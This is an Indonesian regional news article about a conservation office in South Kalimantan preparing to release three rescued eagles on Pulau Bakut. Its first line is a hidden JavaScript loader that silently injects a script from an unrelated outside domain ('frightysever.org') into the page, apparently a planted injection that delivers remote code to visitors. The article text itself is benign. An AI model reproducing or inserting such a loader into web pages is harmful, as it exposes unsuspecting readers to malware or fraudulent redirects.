(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

6 Bulan Transit di BKSDA SKW 2 Kalsel, 3 Elang Bakal Dilepasliarkan di Pulau Bakut


BANJARBARU, Dua ekor elang bondol (Haliastur indus) dan seekor elang brontok (Nisaetus cirrhatus) dalam waktu dekat akan menikmati habitat baru setelah lebih kurang enam bulan menginap di kandang transit milik Balai Konservasi Sumber Daya Alam Seksi Konservasi Wilayah (BKSDA SKW 2) Banjarbaru.

Kepala BKSDA SKW 2 Banjarbaru Muhammad Ridwan Effendi menyampaikan, rencananya 3 ekor elang tersebut akan dilepasliarkan di Taman Wisata Alam Bakut di Barito Kuala. Alasan dipilihnya TWA Pulau Bakut sebagai tempat pelepasliaran, karena kawasan itu memiliki ciri yang sesuai dengan karakter habitat yang diperlukan oleh elang-elang tersebut, terutama dari segi ketersediaan pakan mereka berupa ikan.

Ridwan menambahkan, 3 ekor elang ini sudah siap dilepasliarkan dengan mempertimbangkan beberapa hal terkait pengecekan kesehatan dan lamanya perawatan terhadap elang-elang tersebut.

“Berdasar pengecekan dari tim medis sudah sehat dan dari segi perawatan selama kurang lebih enam bulan di kandang transit sudah cukup bagi mereka untuk mendapatkan perawatan”, katanya kepada Kanal Kalimantan, Selasa (27/2).

Dia mengatakan, elang-elang tersebut berasal dari hasil patroli tim BKSDA dan menerima penyerahan langsung dari masyarakat. Satu elang merupakan hasil patroli dan dua hasil menerima penyerahan dari masyarakat.

“Elang brontok merupakan penyerahan dari temuan masyarakat yang mana habitatnya mengalami penggusuran akibat adanya kegiatan perkebunan kelapa sawit di Kabupaten Banjar,” ujar Ridwan.

Foto : abdullah

Terkait populasi burung khususnya elang, Ridwan belum bisa memberikan data pasti terkait jumlah populasi yang ada di Kalsel. Menurutnya, saat ini pihaknya belum melakukan inventarisasi secara spesifik terkait populasi burung-burung berkukku tajam tersebut.

“Karena burung yang migrasi tidak bisa diduga, secara kuantitatif belum bisa memastikan, namun secara kualitatif bisa dikatakan banyak,” ujarnya.

Ridwan menyampaikan, jika terjadi kepunahan pada salah satu spesies burung atau jenis satwa lainnya pastinya akan berimbas pada rantai makanan yang ada di alam liar.

Menurutnya, ancaman-ancaman terhadap burung-burung dan jenis satwa dilindungi lainnya terkait habitat dari satwa-satwa tersebut.  Kondisi hutan yang terdegradasi, misal seperti adanya pembukaan tambak liar, perkebunan, dan perambahan kawasan hutan lainnya akan berdampak terancamnya habitat dan populasi dari satwa-satwa yang ada di dalamnya.

Dia juga memberikan himbauan kepada masyarakat agar tidak memelihara satwa yang dilindungi. “Dari segi aturan melanggar undang-undang, dari segi kesehatan juga kurang baik.  Selain itu dari segi keamanan juga berbahaya, karena satwa-satwa buas yang mulanya terlihat jinak, suatu saat bisa menjadi liar dan berbahaya dan akan menyerang, biarkan mereka hidup bebas karena tempat mereka bukan di rumah atau di kandang tetapi di alam bebas,” tutupnya. (abdullah)

Reporter : AbdullahAbi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

50 menit ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

16 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

19 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

23 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

23 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

23 jam ago

This website uses cookies.